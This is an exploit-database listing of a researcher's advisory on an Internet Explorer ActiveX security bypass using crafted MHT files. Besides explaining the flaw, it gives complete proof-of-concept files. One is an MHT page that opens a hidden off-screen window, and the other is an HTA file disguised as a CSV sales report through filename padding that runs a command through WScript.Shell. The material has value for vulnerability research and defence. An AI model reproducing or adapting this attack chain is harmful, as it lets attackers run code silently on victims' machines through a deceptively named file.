Microsoft Internet Explorer / ActiveX Control - Security Bypass Vulnerability

🗓️ 14 Dec 2021 00:00:00Reported by hyp3rlinxType
zdt🔗 0day.today👁 241 Views
Microsoft Internet Explorer ActiveX Control Security Bypass Vulnerabilit
# Exploit Title: Microsoft Internet Explorer / ActiveX Control - Security Bypass
# Exploit Author: John Page (aka hyp3rlinx)
# Website: hyp3rlinx.altervista.org
# Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-ACTIVEX-CONTROL-SECURITY-BYPASS.txt
# twitter.com/hyp3rlinx
# ISR: ApparitionSec


[Vendor]
www.microsoft.com


[Product]
Microsoft Internet Explorer (MSIE)
Internet Explorer is a discontinued series of graphical web browsers
developed by Microsoft and included in the Microsoft Windows line of
operating systems, starting in 1995.


[Vulnerability Type]
ActiveX Control Security Bypass


[CVE Reference]
N/A


[Security Issue]
Upon opening a specially crafted .MHT file on disk, Internet Explorer
ActiveX control warnings as well as popup blocker privacy settings are
not enforced.
This can allow the execution of ActiveX content with zero warning to
an unsuspecting end user and or force them to visit arbitrary attacker
controlled websites.

By default when opening browser associated files that contain active
content, MSIE restricts scripts from running without explicit user
interaction and permission.
Instead end users are presented with a yellow warning bar on the
browsers webpage, asking first if they wish to allow the running of
blocked content.
This prevents execution of active content scripts or controls without
the user first clicking the "Allow blocked content" warning bar.

However, specially crafted MHT files residing on disk that contain an
invalid header directive suppress ActiveX warnings and Popup blocker
privacy settings.
Therefore, to bypass Internet Explorer "active content" blocking,
files needs to contain an Content-Location header using an arbitrary
named value E.g.

"Content-Location: PBARBAR"

Note, often times MHT files are set to open in IE by default and IE
while discontinued it is still present on the Windows OS.
Tested successfully on Windows 10 latest fully patched version with
default IE security settings.

Expected result: ActiveX control security warning, prevention of code
execution and blocking browser popup windows.
Actual result: No ActiveX control code execution blocking, security
warnings or browser window popup blocking enforcement.

[PoC Requirements]
MHT file must reside on disk, think targeted attack scenarios.

[Exploit/POC]
Change [VICTIM] value below to a specified user for testing.

1) Create the MHT PoC file.

"MSIE_ActiveX_Control_Security_Bypass.mht"

From:
Subject:
Date:
MIME-Version: 1.0
Content-Type: multipart/related; type="text/html";
boundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"
This is a multi-part message in MIME format.


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001
Content-Type: text/html; charset="UTF-8"
Content-Location: DOOM

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
</head>
<body>


<script>
win=window
win.open("http://www.microsoft.com","","width=600,height=600")
var args = ['height='+1,'width='+1,].join(',')
setTimeout("", 3000)
var pop = win.open('c:/Users/[VICTIM]/Desktop/Sales_Report_2021.csv
________________________________________________________.hta', 'pop',
args)
pop.moveTo(2000,2000)
</script>


</body>
</html>


--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--


2) Create the PoC HTA file.

"Sales_Report_2021.csv
________________________________________________________.hta"

<HTA:APPLICATION icon="#" WINDOWSTATE="minimize" SHOWINTASKBAR="no"
SYSMENU="no"  CAPTION="no" />
<script language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.Run("calc.exe")
</script>


3) Open the MHT file locally.


[Network Access]
Local


[POC/Video URL]
https://www.youtube.com/watch?v=UCSqFbYUvBk
14 Dec 2021 00:00Current